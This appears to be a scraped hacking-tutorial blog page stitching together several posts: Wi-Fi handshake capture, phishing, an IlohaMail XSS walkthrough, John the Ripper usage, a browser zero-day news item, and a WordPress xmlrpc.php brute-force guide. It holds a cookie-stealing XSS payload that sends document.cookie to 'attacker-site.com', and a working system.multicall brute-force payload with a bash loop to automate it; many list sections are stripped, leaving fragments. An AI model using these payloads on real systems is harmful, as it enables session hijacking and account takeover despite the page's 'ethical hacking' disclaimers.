In this video I will show you how hackers use the airdump-ng command to capture the WPA2 handshake. The handshake file what the hackers need to crack your password
Remember, my hacking lectures should not be used to hack others’ network but to be aware how others can easily hack your network.
Phishing is a method used by hackers to deceive individuals into providing sensitive information, such as usernames, passwords, or financial details. Here’s a list of common phishing techniques and ways to avoid them:
By staying informed and vigilant, individuals and organizations can significantly reduce the risk of falling victim to phishing attacks.
To exploit a Cross-Site Scripting (XSS) vulnerability in IlohaMail 0.8.10, here are the general steps you would follow, assuming it’s a reflected or stored XSS vulnerability. While IlohaMail has specific nuances, the general process applies to many XSS attacks. The exact payload and entry points depend on the vulnerable application logic, but here’s a typical approach:
<script>alert('XSS Vulnerability');</script>
http://example.com/iloha/search.php?q=<script>alert('XSS');</script>
document.cookie)If you want to steal the user’s session cookies:
<script>
var img = new Image();
img.src = "http://attacker-site.com/log?cookie=" + document.cookie;
</script>
Depending on the privileges of the victim user (admin, regular user, etc.), you can escalate the attack to compromise the entire system. For example:
John the Ripper is a powerful open-source password cracking tool primarily used for testing password strength and recovering passwords by brute-forcing them. It is widely used in cybersecurity for ethical hacking, penetration testing, and in auditing password security. Here’s a breakdown of what it is and how it’s commonly used:
John the Ripper (JtR) is designed to detect weak passwords and is often used by security professionals to identify vulnerabilities in password policies. It can be used to crack various types of password hashes, including:
The tool can run on multiple operating systems, including Unix-based systems, Windows, and macOS.
John the Ripper uses several methods to crack passwords:
Here’s a basic example of using John the Ripper:
/etc/shadow file.john --wordlist=/path/to/wordlist.txt /path/to/hashfile.txt
This will run a dictionary attack against the hashes using the specified wordlist.
View the cracked passwords:
john --show /path/to/hashfile.txt
The tool is continually being developed, and new features are often added, such as support for newer hash algorithms.
This short video on Youtube can give you additional information on how it is being used:
In recent cybersecurity news, both Mozilla Firefox and the Tor Browser have been targeted by a zero-day exploit, posing significant risks to users worldwide. This exploit, discovered by security researchers, allows malicious actors to execute arbitrary code remotely, potentially compromising user data and system integrity.
Zero-day exploits are vulnerabilities that are unknown to the software vendor or security community, making them particularly dangerous. Attackers exploit these vulnerabilities before developers can patch them, giving them a window of opportunity to target users.
Mozilla Firefox, a widely used open-source web browser, and Tor Browser, renowned for its privacy features and use in anonymity networks, are both affected. Users of these browsers are advised to exercise caution:
For individuals and organizations using Firefox or Tor Browser, immediate steps should be taken to mitigate risks:
To enhance overall cybersecurity posture and resilience against zero-day exploits:
The discovery of a zero-day exploit targeting Firefox and Tor Browser underscores the constant threat posed by vulnerabilities in widely used software. Prompt action by users, including updating software and adopting precautionary measures, is crucial in mitigating risks and maintaining cybersecurity hygiene. By staying informed and proactive, individuals and organizations can minimize the impact of such security threats and safeguard their digital environments effectively.
As developments unfold, continued vigilance and collaboration within the cybersecurity community will be essential to address and mitigate the impact of this zero-day exploit on Firefox and Tor users worldwide.
In this video I am going to discuss the need for network engineers to change the wifi adapter mode. I am also going to show how to change the mode from Managed to Monitor.
Note: Remember that my lectures are for you to be aware of how your system can be vulnerable from the hackers. As an ethical hacker, I am here to spread awareness to non-technical person how to avoid being hacked.
The xmlrpc.php file in WordPress is designed to handle remote procedures, such as pingbacks, trackbacks, and remote access via the WordPress mobile app or other external clients. However, this feature is often targeted by attackers due to its potential for exploitation, including brute-force attacks, DDoS attacks, and information disclosure vulnerabilities.
This guide outlines the process of exploiting the wordpress_xmlrpc_login vulnerability, typically used for brute-force password guessing via the system.multicall method in the XML-RPC API.
xmlrpc.php file exposed. You can check for its presence by sending a simple request.Run the following curl command to verify if xmlrpc.php is available:curl -I http://example.com/xmlrpc.php
If the file exists, you will receive an HTTP 200 OK response.
Example output:
HTTP/1.1 200 OK
Date: Mon, 25 Sep 2023 12:00:00 GMT
Server: Apache
X-Powered-By: PHP/7.4.23
Content-Type: text/html; charset=UTF-8
If the file is not found, you will get a 404 Not Found response.
xmlrpc.php FunctionalityThe xmlrpc.php file can handle multiple remote procedure calls (RPCs) in a single request. Attackers often abuse this functionality via the system.multicall method, which allows them to send multiple authentication attempts in a single HTTP request. This is faster and more efficient for brute-force attacks compared to traditional single-login brute-force attempts.
In this step, you’ll exploit the system.multicall function to brute-force WordPress credentials.
xmlrpc.phpXML-RPC Brute-Force Request:You need to craft a request that uses the system.multicall method to send multiple authentication attempts in a single request.
Here’s an example request body for brute-forcing the login:
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
<!-- You can add more username/password attempts here -->
</data>
</array>
</value>
</param>
</params>
</methodCall>
In the above payload, we attempt two login requests using the wp.getUsersBlogs method, where we try the username admin with two passwords: password1 and password2.
curlNow, use curl to send the XML-RPC request containing multiple authentication attempts:
curl -X POST http://example.com/xmlrpc.php \
-H "Content-Type: text/xml" \
--data @bruteforce.xml
In this command:
http://example.com with the target WordPress site’s URL.Once the request is sent, analyze the response to determine if any login attempts were successful. If one of the authentication attempts is valid, the server will respond with a valid session or user information.
Example success response:
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>isAdmin</name>
<value><boolean>1</boolean></value>
</member>
<!-- Other user details -->
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>
If none of the login attempts succeeded, the server may return an error response like this:
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
You can automate this process using tools like wpscan or Hydra, but here’s a simple automation using Bash scripting and curl for continuous brute-force attempts:
#!/bin/bash
# Set target and credentials file
TARGET="http://example.com/xmlrpc.php"
USER="admin"
WORDLIST="/path/to/passwords.txt"
# Loop through the passwords
while IFS= read -r PASSWORD; do
# Create the XML payload dynamically
PAYLOAD=$(cat <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>$USER</string></value>
<value><string>$PASSWORD</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
EOF
)
# Send the request and capture the response
RESPONSE=$(curl -s -X POST $TARGET -H "Content-Type: text/xml" --data "$PAYLOAD")
# Check if the response contains success
if [[ $RESPONSE == *"isAdmin"* ]]; then
echo "[+] Password found: $PASSWORD"
exit 0
else
echo "[-] Failed: $PASSWORD"
fi
done < "$WORDLIST"
This script will try each password from the passwords.txt wordlist until it finds the correct one.
To prevent this kind of exploitation, site administrators can implement the following protections:
xmlrpc.php: If not required, you can completely disable the xmlrpc.php file.
Accessing a hidden website page, such as a WordPress login page, should only be done legally, for example, if you are conducting security testing on a site you own or have permission to assess. Engaging in unauthorized attempts to access hidden or private pages can be illegal and unethical. With that in mind, here are some common steps used to locate a hidden WordPress login page (with permission):
By default, WordPress login pages are found at:
https://example.com/wp-admin/https://example.com/wp-login.phpWebsite owners sometimes change these default URLs to obscure the login page for security purposes. However, trying the default URLs is a starting point.
Some WordPress sites might have login widgets or forms on the homepage or other public pages. Inspecting these forms may reveal the action URL that points to the login page.
Google Dorking can be used to find hidden pages indexed by search engines. A few examples:
site:example.com inurl:loginsite:example.com inurl:wp-adminsite:example.com intitle:"login"These advanced search queries (dorks) might reveal login pages that are otherwise hard to find.
Tools like Nmap, DirBuster, or Gobuster can scan a website for hidden directories and files. These tools look for commonly used WordPress login paths by brute-forcing directories.
WordPress websites often use security plugins that might rename the login page URL. Look for security-related headers, plugins, or tell-tale signs in the page’s code that could indicate the login page has been renamed or hidden by plugins like WPS Hide Login or iThemes Security.
WPScan is a popular tool for testing WordPress security. It can enumerate WordPress URLs, plugins, and themes, which might reveal the login page.
wpscan --url https://example.com --enumerate u
Sometimes, the website’s robots.txt file contains paths that are excluded from search engines. It could include information about hidden pages that can be accessed manually.
Sometimes, older versions of the site or backup directories can still have accessible login pages. Tools like the Wayback Machine or scanning directories like /old/ or /backup/ can reveal older login pages.
Legitimate social engineering techniques (e.g., reaching out to customer support or reviewing public documentation about the website) can provide clues to the location of a hidden login page.
Always remember that any actions you take on websites must be fully legal and authorized. If you are conducting a penetration test or security audit, ensure you have explicit permission from the owner.